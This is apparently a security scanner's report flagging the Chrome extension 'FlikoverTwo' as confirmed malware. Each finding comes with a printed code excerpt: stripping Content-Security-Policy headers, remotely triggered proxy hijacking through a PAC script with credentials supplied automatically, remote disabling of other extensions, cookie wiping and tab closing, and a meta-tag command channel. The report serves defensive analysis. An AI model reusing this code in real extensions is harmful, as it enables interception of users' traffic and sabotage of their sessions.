Security Alert: Confirmed Malware
FlikoverTwo
ID: pjpfbdclpidnhjobdehacbejkfcfodan
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- SeoToolsView Profile
- Privacy
- Privacy Policy
- Country
- US
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- Yes
- Mailbox exists
- Yes
- Address
- 5760 E Otero Ave Centennial, CO 80112 US
All Flikover registered users must install our extension. It provides all the premium services offer by Flikover
Simple Search engine optimization statistics tool Introducing SEO serp analysis - the modern and simple SEO statistics tool built for the future. The tool will help you in your digital marketing journey. It will provide you access to multiple seo related website with auto login & logout feature now updated to manifest v3.
On install, the extension overwrites the Content-Security-Policy response header on every resource type (main_frame, sub_frame, script, XHR, etc.) with '* unsafe-inline', globally neutralising CSP protections across all websites the user visits. This eliminates the primary browser defence against XSS and inline script injection, making every site the user browses trivially exploitable by any other attacker who can inject content.
chrome.runtime.onInstalled.addListener((() => { chrome.declarativeNetRequest.updateDynamicRules({ removeRuleIds: [9966] }) .then((() => chrome.declarativeNetRequest.updateDynamicRules({ addRules: [{ id: 9966, priority: 1, action: { type: "modifyHeaders", responseHeaders: [{ header: "Content-Security-Policy", operation: "set", value: "* 'unsafe-inline'" }] }, condition: { resourceTypes: ["main_frame", "sub_frame", "object", "script", "xmlhttprequest", "other", "csp_report" ] } }] }))) .catch((() => {}))}));The extension contacts a remote operator-controlled endpoint every 60 seconds; when the server returns '1', it fetches a second URL for proxy configuration (IP, username, password, target host lists) and silently redirects all browser traffic through that proxy via a dynamically-built PAC script. The proxy credentials are stored in local storage and supplied automatically for every auth challenge. This gives the operator full visibility into all HTTP/HTTPS traffic and the ability to man-in-the-middle any site.
fetch(site + '/assets/access.php') .then(response => { return response.text(); }) .then(state => { if (state == '1') { if (proxyConnect === false) { fetch(proxy_url) .then(auth => { return auth.json(); }) .then(proxy_info => { proxyConnect = true; // ... PAC script built from proxy_info.urls / proxy_info.whitelist ... chrome.storage.local.set({ proxy_user: proxy_info.username, proxy_pass: proxy_info.password }); var pac_script = ` function FindProxyForURL(url, host) { if(${whitelist_hosts}) return 'DIRECT'; else if (${hosts}) return 'PROXY ${proxy_info.ip}'; else return 'DIRECT'; }`; chrome.proxy.settings.set({ value: { mode: "pac_script", pacScript: { data: pac_script } }, scope: 'regular' }, function() {}); }); } } });The extension registers a blocking webRequest.onAuthRequired listener across all URLs that silently supplies stored proxy credentials for every proxy authentication challenge. Combined with the proxy hijacking above this ensures seamless, invisible traffic interception with no user prompt, even for HTTPS resources, since the PAC script routes the CONNECT tunnel through the operator's proxy.
chrome.webRequest.onAuthRequired.addListener(function(details, callbackFn) { if (details.isProxy == true) { chrome.storage.local.get(null, function(result) { callbackFn({ authCredentials: { username: result.proxy_user, password: result.proxy_pass } }); }); }}, { urls: ["<all_urls>"]}, ['asyncBlocking']);At startup the extension fetches a remotely-controlled blocklist of extension IDs and forcibly disables every listed extension. It also registers a persistent onEnabled listener so that if the user tries to re-enable a blocked extension, it is immediately disabled again. The fake alert UI claims the targeted extension is a security threat. This gives the operator the ability to remotely disable any competing or security-relevant Chrome extension on users' machines.
fetch(site + '/assets/exblocker.json?ver=' + Math.random()) .then(res => { return res.json(); }) .then(res => { let ex_id = res; ex_id.forEach(function(ex_id) { chrome.management.get(ex_id, function(e) { if (!chrome.runtime.lastError && ex_id == e.id && e.enabled != false) { chrome.management.setEnabled(ex_id, false), alert({ html: '...' + e.name + ' Detected...' }); } }), chrome.management.onEnabled.addListener(function(e) { if (!chrome.runtime.lastError && ex_id == e.id && e.enabled != false) { chrome.management.setEnabled(ex_id, false), alert({ html: '...' + e.name + ' Detected...' }); } }) }); }) .catch(() => {});The extension fetches a remotely-controlled domain list and deletes all cookies for those domains, then forcibly closes any tabs visiting those domains. This is triggered both when the user clicks the extension icon and when a companion extension named 'Flikover' is disabled. Remote-controlled cookie wiping can log users out of banking, email, and other sensitive sites on demand, and the tab-closing prevents users from noticing the session destruction.
function clear_cookies() { fetch(site + '/assets/clear.json?ver=' + Math.random()) .then(res => { return res.json(); }) .then(res => { Object.entries(res) .forEach(([key, value]) => { chrome.cookies.getAll({ domain: key }, function(cookies) { for (var i = 0; i < cookies.length; i++) { chrome.cookies.remove({ url: value + cookies[i].path, name: cookies[i].name }); } }); chrome.tabs.query({}, function(tabs) { for (var i = 0; i < tabs.length; i++) { if (tabs[i].url.includes(key)) { chrome.tabs.remove(tabs[i].id); } } }); }); }) .catch(() => {});}chrome.management.onDisabled.addListener(function(info) { if (info.name == "Flikover") { clear_cookies(); }});chrome.action.onClicked.addListener(function() { clear_cookies();});A content script injected into every page (<all_urls>, all_frames) silently reads the value of an 'af_referrer' meta tag and forwards it to the background service worker as a proxy configuration URL. This allows the operator's own web pages to dynamically reconfigure the browser's global proxy settings simply by embedding an arbitrary URL in a meta tag — an effective remote command channel hidden inside normal page markup.
ready(function() { const proxy_data_meta = document.querySelector("meta[property='af_referrer']"); if (proxy_data_meta) { chrome.runtime.sendMessage({ type: "IMPORT_PROXY", url: proxy_data_meta.content }); }});The PAC script is constructed by string-interpolating server-controlled values (proxy_info.urls, proxy_info.whitelist, proxy_info.ip) directly into JavaScript source code without any sanitisation. A compromised or malicious operator server could inject arbitrary JavaScript into the PAC function, which executes in a privileged browser context and determines routing for every network request.
var pac_script = ` function FindProxyForURL(url, host) { if(${whitelist_hosts}) return 'DIRECT'; else if (${hosts}) return 'PROXY ${proxy_info.ip}'; else return 'DIRECT'; }`;chrome.proxy.settings.set({ value: { mode: "pac_script", pacScript: { data: pac_script } }, scope: 'regular'}, function() {});By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 3.0.5 | 7 |
Files with findings
2 distinct paths — top paths by unique finding count:
- service.js6
- a.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.